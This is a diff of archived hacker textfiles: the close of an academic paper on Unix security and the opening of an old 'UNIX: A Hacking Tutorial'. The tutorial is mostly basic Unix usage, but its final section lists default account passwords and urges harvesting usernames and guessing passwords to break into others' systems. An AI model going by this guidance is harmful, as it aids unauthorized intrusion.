+government and industry? It appears not, at least for governmental +security projects. By following the Orange Book (14), a government +graded classification of secure computer systems, the Unix system is +only as secure as the C1 criterion. A C1 system, which has a low +security rating (D being the lowest) provides only discretionary +security protection (DSP) against browsers or non-programmer users. +Clearly this is insufficient as far as defense or proprietary security +is concerned. What is needed are fundamental changes to the Unix +security system. This has been recognized by at least three companies, +AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made +vital changes to the kernel and file system in order to produce a C2 +rated Unix operating system. To achieve this, however, they have had to +sacrifice some of the portability of the Unix system. It is hoped that +in the near future a Unix system with an A1 classification will be +realized, though not at the expense of losing its valued portability. + +REFERENCES + +1 Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986) + pp 50-63 +2 Waite, M et al. "Unix system V primer" USA (1984) +3 Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128 +4 Kowack, G and Healy, D "Can the holes be plugged?" Computerworld + Vol 18 (26 September 1984) pp 27-28 +5 Farrow, R "Security issues and strategies for users" Unix/World + (April 1986) pp 65-71 +6 Farrow, R "Security for superusers, or how to break the Unix system" + Unix/World (May 1986) pp 65-70 +7 Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell + Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672 +8 Wood, P H and Kochan, S G "Unix system security" USA (1985) +9 Nowitz, D A "UUCP Implementation description: Unix programmer's manual + Sec. 2" AT&T Bell Laboratories, USA (1984) +10 Thomas, R "Securing your terminal: two approaches" Unix/World + (April 1986) pp 73-76 +11 Karpinski, D "Security round table (Part 1)" Unix Review + (October 1984) p 48 +12 Karpinski, D "Security round table (Part 2)" Unix Review + (October 1984) p 48 +13 Lobel, J "Foiling the system breakers: computer security and access + control" McGraw-Hill, USA (1986) +14 National Computer Security Center "Department of Defense trusted + computer system evaluation criteria" CSC-STD-001-83, USA (1983) +15 Stewart, F "Implementing security under Unix" Systems&Software + (February 1986) +16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the + Lock TCB" Proceedings of USENIX (1988) +17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs, + Government System Division, USA (August 1987) +=============================================================================== + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron Jeff Hunter 510-935-5845 + Rat Head Ratsnatcher 510-524-3649 + Burn This Flag Zardoz 408-363-9766 + realitycheck Poindexter Fortran 415-567-7043 + Lies Unlimited Mick Freen 415-583-4102 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/hacking/UNIX/unixsir.hac b/textfiles.com/hacking/UNIX/unixsir.hac new file mode 100644 index 00000000..3aed0cb9 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixsir.hac @@ -0,0 +1,2135 @@ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ UNIX : A Hacking Tutorial + ++ By: Sir Hackalot + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +---------------------- +o Intent of this file: +---------------------- + + This phile is geared as an UNIX tutorial at first, to let you get more +familiar with the operating system. UNIX is just an operating system, as +is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user- +multi-tasking system, thus bringing a need for security not found on MSDOS, +AppleDOS, etc. This phile will hopefully teach the beginners who do not have +a clue about how to use UNIX a good start, and may hopefully teach old pros +something they didn't know before. This file deals with UNIX SYSTEM V and +its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2). + +Where Can I be found? I have no Idea. The Boards today are going Up'n'Down +so fast, 3 days after you read this file, if I put a BBS in it where you could +reach me, it may be down! Just look for me. + +I can be reached on DarkWood Castle [If it goes back up], but that board +is hard to get access on, but I decided to mention it anyway. + +I *COULD* Have been reached on jolnet, but...... + +This file may have some bad spelling, etc, or discrepencies since it was +spread out over a long time of writing, because of school, work, Girl friend, +etc. Please, no flames. If you don't like this file, don't keep it. + +This is distributed under PHAZE Inc. Here are the members (and ex ones) +The Dark Pawn +The Data Wizard +Sir Hackalot (Me) +Taxi (ummm.. Busted) +Lancia (Busted) +The British Knight (Busted) +The Living Pharoah (Busted) + +_____________________________________________________________________________ + + +------------- +o Dedication: +------------- + This phile is dedicated to the members of LOD that were raided in +Atlanta. The members that got busted were very good hackers, especially +The Prophet. Good luck to you guys, and I hope you show up again somewhere. +_____________________________________________________________________________ + +------------------------ +o A little History, etc: +------------------------ + + UNIX, of course, was invented By AT&T in the 60's somewhere, to be +"a programmer's operating system." While that goal was probably not reached +when they first invented UNIX, it seems that now, UNIX is a programmer's OS. +UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also +written in C, or at least large parts of it are, thus making it a portable +operating system. We know that MSDOS corresponds to IBM/clone machines, +right? Well, this is not the case with UNIX. We do not associate it with +any one computer since it has been adapted for many, and there are many +UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T +computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations +run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version +of UNIX. Remember, no matter what the name of the operating system is [BSD, +UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the +commands the operating system uses. Some variants may have features others +do not, but they are basically similar in that they have a lot of the same +commands/datafiles. When someone tries to tell you that UNIX goes along with +a certain type of computer, they may be right, but remember, some computers +have more than one Operating system. For instance, one person may tell you +that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the +only reason I stated that, was because I have seen many messages with info +/comparisons in it like that, which confuse users when they see a VAX running +VMS. +____________________________________________________________________________ + + +------------------------------- +o Identifying a Unix/Logging in +------------------------------- + + From now on, I will be referring to all the UNIX variants/etc as +UNIX, so when I say something about UNIX, it generally means all the variants +(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless +I state a variant in particular. + + Okay. Now its time for me to tell you how a unix USUALLY greets you. +First, when you call up a UNIX, or connect to one however you do, you will +usually get this prompt: + +login: + +Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix, +although there are BBS's that can mimic the login procedure of an OS +(Operating System), thus making some people believe its a Unix. [Hah!]. +Some Unixes will tell you what they are or give you a message before a +login: prompt, as such: + +Welcome to SHUnix. Please log in. + +login: + + Or something like that. Public access Unixes [like Public BBSs] will +tell you how to logon if you are a new users. Unfortunatly, this phile is +not about public access Unixes, but I will talk about them briefly later, as +a UUCP/UseNet/Bitnet address for mail. + OK. You've gotten to the login prompt! Now, what you need to do +here is enter in a valid account. An Account usually consists of 8 characters +or less. After you enter in an account, you will probably get a password +prompt of some sort. The prompts may vary, as the source code to the login +program is usually supplied with UNIX, or is readily available for free. +Well, The easiest thing I can say to do to login is basically this: +Get an account, or try the defaults. The defaults are ones that came with +the operating system, in standard form. The list of some of the Defaults +are as follows: + +ACCOUNT PASSWORD +------- -------- +root root - Rarely open to hackers +sys sys / system / bin +bin sys / bin +mountfsys mountfsys +adm adm +uucp uucp +nuucp anon +anon anon +user user +games games +install install +reboot * See Below +demo demo +umountfsys umountfsys +sync sync +admin admin +guest guest +daemon daemon + +The accounts root, mountfsys, umountfsys, install, and sometimes sync are +root level accounts, meaning they have sysop power, or total power. Other +logins are just "user level" logins meaning they only have power over what +files/processes they own. I'll get into that later, in the file permissions +section. The REBOOT login is what as known as a command login, which just +simply doesn't let you into the operating system, but executes a program +assigned to it. It usually does just what it says, reboot the system. It +may not be standard on all UNIX systems, but I have seen it on UNISYS unixes +and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have +not been passworded [reboot], which is real stupid, if you ask me. + +COMMAND LOGINS: +--------------- + +There are "command logins", which, like reboot, execute a command then log +you off instead of letting you use the command interpreter. BSD is notorious +for having these, and concequently, so does MIT's computers. Here are some: + +rwho - show who is online +finger - same +who - same + +These are the most useful, since they will give the account names that are +online, thus showing you several accounts that actually exist. + + +Errors: +------- + +When you get an invalid Account name / invalid password, or both, you will +get some kind of error. Usually it is the "login incorrect" message. When +the computer tells you that, you have done something wrong by either enterring +an invalid account name, or a valid account name, but invalid password. It +does not tell you which mistake you made, for obvious reasons. Also, +when you login incorrectly, the error log on the system gets updated, letting +the sysops(s) know something is amiss. + + Another error is "Cannot change to home directory" or "Cannot Change +Directory." This means that no "home directory" which is essentially the +'root' directory for an account, which is the directory you start off in. +On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in +/homedirectory. [Note: The / is used in directories on UNIX, not a \ ]. +Most systems will log you off after this, but some tell you that they will +put you in the root directory [ '/']. + + Another error is "No Shell". This means that no "shell" was defined +for that particular account. The "shell" will be explained later. Some +systems will log you off after this message. Others will tell you that they +will use the regular shell, by saying "Using the bourne shell", or "Using sh" + +----------------------------- +Accounts In General : +----------------------------- + + This section is to hopefully describe to you the user structure +in the UNIX environment. + Ok, think of UNIX having two levels of security: absolute power, +or just a regular user. The ones that have absolute power are those users +at the root level. Ok, now is the time to think in numbers. Unix associates +numbers with account names. each account will have a number. Some will have +the same number. That number is the UID [user-id] of the account. the root +user id is 0. Any account that has a user id of 0 will have root access. +Unix does not deal with account names (logins) but rather the number +associated with them. for instance, If my user-id is 50, and someone else's +is 50, with both have absolute power of each other, but no-one else. +_____________________________________________________________________________ + +--------------- +Shells : +--------------- + + A shell is an executable program which loads and runs when a user +logs on, and is in the foreground. This "shell" can be any executable prog- +ram, and it is defined in the "passwd" file which is the userfile. Each +login can have a unique "shell". Ok. Now the shell that we usually will work +with is a command interpreter. A command interpreter is simply something +like MSDOS's COMMAND.COM, which processes commands, and sends them to the +kernel [operating system]. A shell can be anything, as I said before, +but the one you want to have is a command interpreter. Here are the +usual shells you will find: + +sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has + a "script" language, as do most of the command interpreters on Unix sys- + tems. + +csh - This is the "C" shell, which will allow you to enter "C" like commands. +ksh - this is the korn shell. Just another command interpreter. +tcsh - this is one, which is used at MIT I believe. Allows command editing. +vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS +rsh - restricted shell OR remote shell. Both Explained later. + There are many others, including "homemade " shells, which are +programs written by the owner of a unix, or for a specific unix, and they +are not standard. Remember, the shell is just the program you get to use +and when it is done executing, you get logged off. A good example of a +homemade shell is on Eskimo North, a public access Unix. The shell +is called "Esh", and it is just something like a one-key-press BBS, +but hey, its still a shell. The Number to eskimo north is 206-387-3637. +[206-For-Ever]. If you call there, send Glitch Lots of mail. + Several companies use Word Processors, databases, and other things +as a user shell, to prevent abuse, and make life easier for unskilled computer +operators. Several Medical Hospitals use this kind of shell in Georgia, +and fortunatly, these second rate programs leave major holes in Unix. +Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they +give you a choice between a command interpreter, or a BBS as a shell. +WHen you have a command interpreter, the prompt is usually a: + $ +when you are a root user the prompt is usually a: + # +The variable, PS1, can be set to hold a prompt. +For instance, if PS1 is "HI:", your prompt will be: + HI: + +_____________________________________________________________________________ + +------------------------ +SPecial Characters, ETc: +------------------------ + +Control-D : End of file. When using mail or a text editor, this will end +the message or text file. If you are in the shell and hit control-d you get +logged off. + +Control-J: On some systems, this is like the enter key. +@ : Is sometimes a "null" +? : This is a wildcard. This can represent a letter. If you specified + something at the command line like "b?b" Unix would look for bob,bib,bub, + and every other letter/number between a-z, 0-9. +* : this can represent any number of characters. If you specified a "hi*" + it would use "hit", him, hiiii, hiya, and ANYTHING that starts with + hi. "H*l" could by hill, hull, hl, and anything that starts with an + H and ends with an L. + +[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob + if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The + [], ?, and * are usually used with copy, deleting files, and directory + listings. + +EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not +the same thing. This allows for many files to be able to be stored, since +"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using +the [] stuff, you have to specify capital letters if any files you are dealing +with has capital letters. Most everything is lower case though. + +---------------- +Commands to use: +---------------- + +Now, I will rundown some of the useful commands of Unix. I will act +as if I were typing in the actual command from a prompt. + +ls - this is to get a directory. With no arguments, it will just print out + file names in either one column or multi-column output, depending on the + ls program you have access to. + + example: + $ ls + hithere + runme + note.text + src + $ + the -l switch will give you extended info on the files. + $ ls -l + rwx--x--x sirhack sirh 10990 runme + and so on.... + +the "rwx--x--x" is the file permission. [Explained Later] +the "sirhack sirh" is the owner of the file/group the file is in. +sirhack = owner, sirh = user-group the file is in [explained later] +the 10990 is the size of the file in bytes. +"runme" is the file name. +The format varies, but you should have the general idea. + +cat - this types out a file onto the screen. should be used on text files. + only use it with binary files to make a user mad [explained later] + ex: + $ cat note.txt + This is a sample text file! + $ + +cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn. + the dir1/etc.... describes the directory name. Say I want to get + to the root directory. + ex: + $ cd / + *ok, I'm there.* + $ ls + bin + sys + etc + temp + work + usr + all of the above are directories, lets say. + $ cd /usr + $ ls + sirhack + datawiz + prophet + src + violence + par + phiber + scythian + $ cd /usr/sirhack + $ ls + hithere + runme + note.text + src + $ +ok, now, you do not have to enter the full dir name. if you are in +a directory, and want to get into one that is right there [say "src"], you +can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the +sirhack dir, you can type "cd src" + +cp - this copies a file. syntax for it is "cp fromfile tofile" + $ cp runme runme2 + $ ls + hithere + runme + note.text + src + runme2 +Full pathnames can be included, as to copy it to another directory. + $ cp runme /usr/datwiz/runme + +mv - this renames a file. syntax "mv oldname newname" + $ mv runme2 runit + $ ls + hithere + runme + note.text + src + runit + files can be renamed into other directories. + $ mv runit /usr/datwiz/run + $ ls + hithere + runme + note.text + src + $ ls /usr/datwiz + runme + run + +pwd - gives current directory + $ pwd + /usr/sirhack + $ cd src + $ pwd + /usr/sirhack/src + $ cd .. + $ pwd + /usr/sirhack + [ the ".." means use the name one directory back. ] + $ cd ../datwiz + [translates to cd /usr/datwiz] + $ pwd + /usr/datwiz + $ cd $home + [goto home dir] + $ pwd + /usr/sirhack + +rm - delete a file. syntax "rm filename" or "rm -r directory name" + $ rm note.text + $ ls + hithere + runme + src + $ + +write - chat with another user. Well, "write" to another user. +syntax: "write username" + $ write scythian + scythian has been notified + Hey Scy! What up?? + Message from scythian on tty001 at 17:32 + hey! + me: So, hows life? + scy: ok, I guess. + me: gotta go finish this text file. + scy: ok + me: control-D [to exit program] + $ + +who [w,who,whodo] - print who is online + $ who + login term logontime + scythian + tty001 17:20 + phiberO + tty002 15:50 + sirhack + tty003 17:21 + datawiz - tty004 11:20 + glitch - tty666 66:60 + $ + the "who" commands may vary in the information given. a "+" means + you can "write" to their terminal, a "-" means you cannot. + +man - show a manual page entry. syntax "man command name" This is a help + program. If you wanted to know how to use... "who" you'd type + $ man who + WHO(1) xxx...... + and it would tell you. + +stty - set your terminal characteristics. You WILL have to do "man stty" + since each stty is different, it seems like. + an example would be: + $ stty -parenb + to make the data params N,8,1. A lot of Unixes operate at + e,7,1 by default. + +sz,rz - send and recieve via zmodem +rx,sx - send / recieve via xmodem +rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix. +umodem - send/recieve via umodem. + $ sz filename + ready to send... + $ rz filename + please send your file.... + ...etc.. + +ed - text editor. Usage "ed filename" to create a file that doesn't + exist, just enter in "ed filename" + some versions of ed will give you a prompt, such as "*" others will not + $ ed newtext + 0 + * a + This is line 1 + This is line 2 + [control-z] + * 1 [to see line one] + This is line 1 + * a [keep adding] + This is line 3 + [control-z] + *0a [add after line 0] + This is THE first line + [control-z] + 1,4l + This is THE first line + This is line 1 + This is line 2 + This is line 3 + * w + 71 + * q + $ + The 71 is number of bytes written. + a = append + l = list + # = print line number + w - write + l fname = load fname + s fname = save to fname + w = write to current file + q = quit +mesg - turn write permissions on or off to your terminal (allow chat) + format "mesg y" or "mesg n" +cc - the C compiler. don't worry about this one right now. +chmod - change mode of a file. Change the access in other words. + syntax: "chmod mode filename" + $ chmod a+r newtext + Now everyone can read newtext. + a = all + r = read. This will be explained further in the File System section. + +chown - change the owner of a file. + syntax: "chown owner filename" + $ chown scythian newtext + $ +chgrp - change the group [explained later] of a file. + syntax: "chgrp group file" + $ chgrp root runme + $ +finger - print out basic info on an account. Format: finger username +grep - search for patterns in a file. syntax: "grep pattern file" + $ grep 1 newtext + This is Line 1 + $ grep THE newtext + This is THE first line + $ grep "THE line 1" newtext + $ + +mail - This is a very useful utility. Obviously, you already know what it + is by its name. There are several MAIL utilities, such as ELM, MUSH + and MSH, but the basic "mail" program is called "mail". The usage + is: + "mail username@address" or + "mail username" + or + "mail" + or "mail addr1!addr2!addr3!user" + + "mail username@address" - This is used to send mail to someone on +another system, which is usually another UNIX, but some DOS machines and some +VAX machines can recieve Unix Mail. When you use "mail user@address" the +system you are on MUST have a "smart mailer" [known as smail], and must +have what we call system maps. The smart mailer will find the "adress" part +of the command and expand it into the full pathname usually. I could look +like this: mail phiber@optik + then look like this to the computer: + + mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber + +Do not worry about it, I was merely explaining the principal of the thing. +Now, if there is no smart mailer online, you'll have to know the FULL path +name of the person you wish to mail to. For Instance, I want to mail to +.. phiber. I'd do this if there were no smart mailer: + + $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber + + Hey Guy. Whats up? Well, gotta go. Nice long message huh? + [control-D] + $ +Then, when he got it, there would be about 20 lines of information, with +like a post mark from every system my message went thru, and the "from" line +would look like so: + +From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack + + Now, for local mailing, just type in "mail username" where username +is the login you want to send mail to. Then type in your message. Then +end it with a control-D. + + To read YOUR mail, just type in mail. IE: + + $ mail + + From scythian ............ + To sirhack ............ + Subject: Well.... + + Arghhh! + + ? + The dots represent omitted crap. Each Mail program makes its own headings. + That ? is a prompt. At this prompt I can type: + + d - delete + f username - forward to username + w fname - write message to a file named fname + s fname - save message with header into file + q - quit / update mail + x - quit, but don't change a thing + m username - mail to username + r - reply + [enter] - read next message + + - go forward one message + - : go back one + h - print out message headers that are in your mailbox. + +There are others, to see them, you'd usually hit '?'. + +-------- + +If you send mail to someone not on your system, you will have to wait longer +for a reply, since it is just as a letter. A "postman" has to pick it up. +The system might call out, and use UUCP to transfer mail. Usually, uucp +accounts are no good to one, unless you have uucp available to intercept mail. + +ps - process. This command allows you to see what you are actually doing +in memory. Everytime you run a program, it gets assigned a Process Id number +(PID), for accounting purposes, and so it can be tracked in memory, as +well as shut down by you, or root. usually, the first thing in a process +list given by "ps" is your shell name. Say I was logged in under sirhack, +using the shell "csh" and running "watch scythian". The watch program would +go into the background, meaning I'd still be able to do things while it was +running: + $ ps + PID TTY NAME + 122 001 ksh + 123 001 watch + $ + That is a shortened PS. That is the default listing [a brief one]. + The TTY column represents the "tty" [i/o device] that the process is being + run from. This is only useful really if you are using layers (don't worry) + or more than one person is logged in with the same account name. Now, + "ps -f" would give a full process listing on yourself, so instead of + seeing just plain ole "watch" you'd most likely see "watch scythian" + +kill - kill a process. This is used to terminate a program in memory obvio- +ously. You can only kill processes you own [ones you started], unless you +are root, or your EUID is the same as the process you want to kill. +(Will explain euid later). If you kill the shell process, you are logged +off. By the same token, if you kill someone else's shell process, they +are logged off. So, if I said "kill 122" I would be logged off. However, +kill only sends a signal to UNIX telling it to kill off a process. If +you just use the syntax "kill pid" then UNIX kills the process WHEN it feels +like it, which may be never. So, you can specify urgency! Try "kill -num pid" +Kill -9 pid is a definite kill almost instantly. So if I did this: + $ kill 122 + $ kill 123 + $ ps + PID TTY NAME + 122 001 ksh + 123 001 watch + $ kill -9 123 + [123]: killed + $ kill -9 122 + garbage + NO CARRIER + +Also, you can do "kill -1 0" to kill your shell process to log yourself off. +This is useful in scripts (explained later). + +------------------- +Shell Programmin' +------------------- + + Shell Programming is basically making a "script" file for the +standard shell, being sh, ksh, csh, or something on those lines. Its +like an MSDOS batch file, but more complex, and more Flexible. +This can be useful in one aspect of hacking. + + +First, lets get into variables. Variables obviously can be assigned +values. These values can be string values, or numberic values. + +number=1 + + That would assign 1 to the variable named "number". + +string=Hi There +or +string="Hi There" + + Both would assign "Hi there" to a variable. + + Using a variable is different though. When you wish to use a variable + you must procede it with a dollar ($) sign. These variables can + be used as arguments in programs. When I said that scripts are + like batch files, I meant it. You can enter in any name of a program + in a script file, and it will execute it. Here is a sample script. + +counter=1 +arg1="-uf" +arg2="scythian" + +ps $arg1 $arg2 + +echo $counter + + That script would translate to "ps -uf scythian" then would print + "1" after that was finished. ECHO prints something on the screen + whether it be numeric, or a string constant. + +Other Commands / Examples: + +read - reads someting into a variable. format : read variable . No dollar + sign is needed here! If I wwanted to get someone's name, I could + put: + +echo "What is your name?" +read hisname +echo Hello $hisname + + What is your name? + Sir Hackalot + Hello Sir Hackalot + + Remember, read can read numeric values also. + +trap - This can watch for someone to use the interrupt character. (Ctrl-c) + format: trap "command ; command ; command ; etc.." +Example: + trap "echo 'Noway!! You are not getting rid o me that easy' ; echo + 'You gotta see this through!'" + + Now, if I hit control-c during the script after this statement was + executed, I'd get: + Noway!! You are not getting rid of me that easy + You gotta see this through! + +exit : format :exit [num] This exists the shell [quits] with return + code of num. + +----- +CASE +----- + + Case execution is like a menu choice deal. The format of the command + or structure is : + case variable in + 1) command; + command;; + 2) command; + command; + command;; + *) command;; + esac + Each part can have any number of commands. The last command however + must have a ";;". Take this menu: + + echo "Please Choose:" + echo "(D)irectory (L)ogoff (S)hell" + read choice + case $choice in + + D) echo "Doing Directory..."; + ls -al ;; + L) echo Bye; + kill -1 0;; + S) exit;; + *) Echo "Error! Not a command";; + esac + + The esac marks the end of a case function. It must be after the + LAST command. + +Loops +----- + + Ok, loops. There are two loop functins. the for loops, and the + repeat. + + repeat looks like this: repeat something somethin1 somethin2 + this would repeat a section of your script for each "something". + say i did this: + repeat scythian sirhack prophet + + I may see "scythian" then sirhack then prophet on my screen. + + The for loop is defined as "for variable in something + do + .. + .. + done" + + an example: + for counter in 1 2 3 + do + echo $counter + done + + That would print out 1 then 2 then 3. + +Using TEST +---------- +The format: Test variable option variable + +The optios are: +-eq = +-ne <> (not equal) +-gt > +-lt < +-ge >= +-le <= + +for strings its: = for equal != for not equal. + +If the condition is true, a zero is returned. Watch: + + test 3 -eq 3 + +that would be test 3 = 3, and 0 would be returned. + +EXPR +---- + +This is for numeric functions. You cannot simply type in +echo 4 + 5 +and get an answer most of the time. you must say: +expr variable [or number] operator variable2 [or number] +the operators are: + ++ add +- subtract +* multiply +/ divide +^ - power (on some systems) + +example : expr 4 + 5 +var = expr 4 + 5 +var would hold 9. + + On some systems, expr sometimes prints out a formula. I mean, + 22+12 is not the same as 22 + 12. If you said expr 22+12 you + would see: + 22+12 + If you did expr 22 + 12 you'd see: + 34 + + +SYSTEM VARIABLES +---------------- + + These are variables used by the shell, and are usually set in the +system wide .profile [explained later]. + +HOME - location of your home directory. +PS1 - The prompt you are given. usually $ . On BSD its usually & +PATH - This is the search path for programs. When you type in a program +to be run, it is not in memory; it must be loaded off disk. Most commands +are not in Memory like MSDOS. If a program is on the search path, it may +be executed no matter where you are. If not, you must be in the directory +where the program is. A path is a set of directories basically, seperated by +":"'s. Here is a typical search path: + + :/bin:/etc:/usr/lbin:$HOME: + +When you tried to execute a program, Unix would look for it in /bin, +/etc, /usr/lbin, and your home directory, and if its not found, an error is +spewed out. It searches directories in ORDER of the path. SO if you had a +program named "sh" in your home directory, and typed in "sh", EVEN if +you were in your home dir, it would execute the one in /bin. So, you +must set your paths wisely. Public access Unixes do this for you, but systems +you may encounter may have no path set. + +TERM - This is your terminal type. UNIX has a library of functions called +"CURSES" which can take advantage of any terminal, provided the escape +codes are found. You must have your term set to something if you run +screen oriented programs. The escape codes/names of terms are found +in a file called TERMCAP. Don't worry about that. just set your term +to ansi or vt100. CURSES will let you know if it cannot manipulate your +terminal emulation. + + +------------------- +The C compiler +------------------- + + This Will be BRIEF. Why? Becuase if you want to learn C, go + buy a book. I don't have time to write another text file on + C, for it would be huge. Basically, most executables are programmed + in C. Source code files on unix are found as filename.c . + To compile one, type in "cc filename.c". Not all C programs + will compile, since they may depend on other files not there, or + are just modules. If you see a think called "makefile" you can + usually type in just "make" at the command prompt, and something + will be compiled, or be attempted to compile. When using make or + CC, it would be wise to use the background operand since + compiling sometimes takes for ever. + IE: + $ cc login.c& + [1234] + $ + (The 1234 was the process # it got identified as). + + +_____________________________________________________________________________ + +--------------- +The FILE SYSTEM +--------------- + + This is an instrumental part of UNIX. If you do not understand this +section, you'll never get the hang of hacking Unix, since a lot of Pranks +you can play, and things you can do to "raise your access" depend on it. + +First, Let's start out by talking about the directory structure. It is +basically a Hiearchy file system, meaning, it starts out at a root directory +and expands, just as MSDOS, and possibly AmigaDos. + +Here is a Directory Tree of sorts: (d) means directory + + / (root dir) + | + |--------------------| + bin (d) usr (d) + ----^-------------------- + | | | + sirhack(d) scythian (d) prophet (d) + | + src (d) + +Now, this particular system contains the following directories: +/ +/bin +/usr +/usr/sirhack +/usr/sirhack/src +/usr/scythian +/usr/prophet + +Hopefully, you understood that part, and you should. Everything spawns from +the root directory. + +o File Permissions! +------------------ + +Now, this is really the biggie. File Permissions. It is not that hard to +understand file permissions, but I will explain them deeply anyway. + +OK, now you must think of user groups as well as user names. Everyone +belongs to a group. at the $ prompt, you could type in 'id' to see what +group you are in. Ok, groups are used to allow people access certain things, +instead of just having one person controlling/having access to certain files. +Remember also, that Unix looks at someone's UID to determine access, not +user name. + +Ok. File permissions are not really that complicated. Each file has an owner +This OWNER is usually the one who creates the file, either by copying a file +or just by plain editing one. The program CHOWN can be used to give someone +ownership of a file. Remember that the owner of a file must be the one who +runs CHOWN, since he is the only one that can change the permissions of a file +Also, there is a group owner, which is basically the group that you were in +when the file was created. You would use chgrp to change the group a file is +in. + +Now, Files can have Execute permissions, read permissions, or write permission. +If you have execute permission, you know that you can just type in the name +of that program at the command line, and it will execute. If you have read +permission on a file, you can obviously read the file, or do anything that +reads the file in, such as copying the file or cat[ing] it (Typing it). +If you do NOT have access to read a file, you can't do anything that requires +reading in the file. This is the same respect with write permission. Now, +all the permissions are arranged into 3 groups. The first is the owner's +permissions. He may have the permissions set for himself to read and execute +the file, but not write to it. This would keep him from deleting it. +The second group is the group permissions. Take an elongated directory +for an example: + $ ls -l runme + r-xrwxr-- sirhack root 10990 March 21 runme + +ok. Now, "root" is the groupname this file is in. "sirhack" is the owner. +Now, if the group named 'root' has access to read, write and execute, they +could do just that. Say .. Scythian came across the file, and was in the root +user group. He could read write or execute the file. Now, say datawiz came +across it, but was in the "users" group. The group permissions would not +apply to him, meaning he would have no permissions, so he couldn't touch +the file, right? Sorta. There is a third group of permissions, and this is +the "other" group. This means that the permissions in the "other" group +apply to everyone but the owner, and the users in the same group as the file. +Look at the directory entry above. the r-x-rwxr-- is the permissions line. +The first three characters are the permissions for the owner (r-x). The +"r-x" translates to "Read and execute permissions, but no write permissions" +the second set of three, r-xRWXr-- (the ones in capital letters) are the group +permissions. Those three characters mean "Read, write, and execution allowed" +The 3rd set, r-xrwxR-- is the permissions for everyone else. It means +"Reading allowed, but nothing else". A directory would look something like +this: + $ ls -l + drwxr-xr-x sirhack root 342 March 11 src + +A directory has a "d" at the beggining of the permissions line. Now, the +owner of the directory (sirhack) can read from the directory, write in the +directory, and execute programs from the directory. The root group and every- +one else can only read from the directory, and execute off the directory. +So, If I changed the directory to be executable only, this is +what it would look like: + $ chmod go-r + $ ls + drwx--x--x sirhack root 342 March 11 src + +Now, if someone went into the directory besides "sirhack", they could only +execute programs in the directory. If they did an "ls" to get a directory +of src, when they were inside src, it would say "cannot read directory". +If there is a file that is readable in the directory, but the directory is +not readable, it is sometimes possible to read the file anyway. + +If you do not have execute permissions in a directory, you won't be able to +execute anything in the directory, most of the time. + +_____________________________________________________________________________ + +-------------- +Hacking: +-------------- + The first step in hacking a UNIX is to get into the operating system +by finding a valid account/password. The object of hacking is usually to +get root (full privileges), so if you're lucky enough to get in as root, +you need not read anymore of this hacking phile , and get into the +"Having Fun" Section. Hacking can also be just to get other's accounts also. + +Getting IN +---------- + The first thing to do is to GET IN to the Unix. I mean, get past +the login prompt. That is the very first thing. When you come across a UNIX, +sometimes it will identify itself by saying something like, +"Young INC. Company UNIX" + +or Just +"Young Inc. Please login" + + Here is where you try the defaults I listed. If you get in with those +you can get into the more advanced hacking (getting root). If you do something +wrong at login, you'll get the message +"login incorrect" +This was meant to confuse hackers, or keep the wondering. Why? +Well, you don't know if you've enterred an account that does not exist, or one +that does exist, and got the wrong password. If you login as root and it says +"Not on Console", you have a problem. You have to login as someone else, +and use SU to become root. + + Now, this is where you have to think. If you cannot get in with a +default, you are obviously going to have to find something else to +login as. Some systems provide a good way to do this by allowing the use +of command logins. These are ones which simply execute a command, then +logoff. However, the commands they execute are usually useful. For instance +there are three common command logins that tell you who is online at the +present time. They are: + who + rwho + finger + + If you ever successfully get one of these to work, you can write down +the usernames of those online, and try to logon as them. Lots of unsuspecting +users use there login name as their password. For instance, the user +"bob" may have a password named "bob" or "bob1". This, as you know, is +not smart, but they don't expect a hacking spree to be carried out on +them. They merely want to be able to login fast. + If a command login does not exist, or is not useful at all, you will +have to brainstorm. A good thing to try is to use the name of the unix +that 